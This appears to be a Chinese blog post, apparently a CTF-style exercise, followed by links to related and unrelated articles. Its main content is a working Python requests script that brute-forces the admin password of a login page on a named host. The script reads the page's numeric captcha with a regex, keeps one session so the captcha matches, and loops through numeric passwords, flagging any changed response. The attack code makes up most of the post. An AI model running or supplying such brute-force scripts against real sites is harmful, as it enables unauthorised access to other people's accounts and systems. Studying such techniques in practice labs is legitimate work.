验证码用正则获取 然后提交;
访问方式为get;
由于有验证码 要用session;
注意:获取验证码的时候所打开的网页要用当前session(即要get的) 不能另外打开(如urllib中的打开网页)网页否则验证码是不同的;

代码如下:

 #coding=utf-8
import requests
import re
import urllib2 url="http://daka.whaledu.com/web/web38/9s81jWjd98YU.php" se=requests.Session() htmlpage = se.get(url).text ###########################################################################
# #
# ATTENTION! #
# 一定要用当前session打开网页,否则验证码不一样,导致提交的验证码错误 #
# #
########################################################################### #验证码获取 ex=r"text\">(.+?)<br>"
pattern=re.compile(ex)
ss=re.findall(ex,htmlpage)
st=""
st=ss[0]
st=st[1]+st[2]+st[3]
print st #第一次使用一个错误的数据以便爆破的时候对比是否密码正确 data={
"password":"",
"randcode":st,
"username":"admin"
} content=se.get(url,params=data)
print content.url
content.encoding='utf-8'
print content.text #循环爆破 for i in range(11111,12111): se=requests.Session()
htmlpage = se.get(url).text ex=r"text\">(.+?)<br>"
pattern=re.compile(ex)
ss=re.findall(ex,htmlpage)
st=""
st=ss[0]
st=st[1]+st[2]+st[3] data={
"password":str(i),
"randcode":st,
"username":"admin"
} content1=se.get(url,params=data)
content1.encoding='utf-8'
if content.text!=content1.text:
print content1.text
else:
print str(i),"wrong"

requests爆破+简单数字验证码的更多相关文章

  1. PHP写的简单数字验证码

    用PHP写的随机生成的5位数字验证码 $yzm = ""; for($i=0;$i<5;$i++) { $a = rand(0,9); $yzm.= $a; } echo $ ...

  2. JavaScript生成简单数字验证码

    <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8& ...

  3. python 简单图像识别--验证码

    python  简单图像识别--验证码 记录下,准备工作安装过程很是麻烦. 首先库:pytesseract,image,tesseract,PIL windows安装PIL,直接exe进行安装更方便( ...

  4. 学习笔记:利用GDI+生成简单的验证码图片

    学习笔记:利用GDI+生成简单的验证码图片 /// <summary> /// 单击图片时切换图片 /// </summary> /// <param name=&quo ...

  5. Python——pytessercat识别简单的验证码

    什么是验证码 验证码(CAPTCHA)是“Completely Automated Public Turing test to tell Computersand Humans Apart” (全自动 ...

  6. 使用python以及工具包进行简单的验证码识别

    识别数字验证码 首先我们准备素材,4张验证码图片如下:     第一步: 打开图像. im = Image.open('temp1.jpg')   第二步: 把彩色图像转化为灰度图像.彩色图像转化为灰 ...

  7. selenium破解数字验证码

    搞了半天,总算弄出来了,识别率还可以,普通的数字验证码 from selenium import webdriver from PIL import Image import pytesseract ...

  8. Python 常用模块系列学习(1)--random模块常用function总结--简单应用--验证码生成

    random模块--random是一个生成器 首先: import random    #导入模块 print (help(random))    #打印random模块帮助信息 常用function ...

  9. python简单处理验证码,三分钟,不能再多了

    序言 大家好鸭, 又是我小熊猫啦 我们在做采集数据的时候,过快或者访问频繁,或者一访问就给弹出验证码,然后就蚌珠了~今天就给大家来一个简单处理验证码的方法 环境模块 Python和pycharm如果还 ...

随机推荐

  1. h5与c3权威指南笔记--css3结构性伪类选择器root,not,empty,target

    root:将样式绑定到根元素(html中的根元素是<html></html>) 举个栗子 :root{ background-color: yellow; } body{ ba ...

  2. 模板引擎artTemplate的使用

    1.引入template文件 <script src = js/template-native.js></script> 2.写模板 <script type=" ...

  3. 软件工程实践-WC项目之C实现

    1.Github项目地址 https://github.com/ShadowEvan/homework 基本功能 -c 统计文件字符数(实现) -w 统计文件词数(实现) -l  统计文件行数(实现) ...

  4. Navicat for MySQL破解版安装

    https://pan.baidu.com/s/1OfFPvqrTqbUAC_Eqq2i0KA 提取码:jgep 点击第一个应用程序一路安装即可. 安装成功之后,再点击第二个应用程序PatchNavi ...

  5. python之定义类创建实例

    https://www.cnblogs.com/evablogs/p/6688938.html 类的定义 在Python中,类通过class关键字定义,类名以大写字母开头 1 2 >>&g ...

  6. MVC 伪静态路由、MVC路由配置,实现伪静态。

    前段时间,研究了一下mvc路由配置伪静态,在网上扒了很多最后还是行不通,所以我现在把这些心得整理出来,供大家分享: 1.mvc中默认路由配置是:http://localhost:24409/Home/ ...

  7. C#:System.Array简单使用

    1.C# 中的数组 1.1 定义数组: 1.1.1 定义不初始化:数据类型[] 数组名称= new 数据类型[元素个数];    1.1.2 定义并初始化:数据类型[] 数组名称= new 数据类型[ ...

  8. mongoTemplate查询大数据过慢

    先上两段代码 代码一 Query query = new Query();queryAfter.addCriteria(Criteria.where("id").in(idList ...

  9. DirectX11 With Windows SDK--10 摄像机类

    前言 DirectX11 With Windows SDK完整目录:http://www.cnblogs.com/X-Jun/p/9028764.html 由于考虑后续的项目需要有一个比较好的演示环境 ...

  10. RB-Tree删除详解

    红黑树的删除操作较于插入操作,情况更为复杂: 考虑到红黑节点的差异性,我们在此通过红黑节点来考虑这个问题,即仅仅通过要删除的节点是红节点,还是黑节点来讨论不同的情况: 1  删除的红节点为叶子结点(此 ...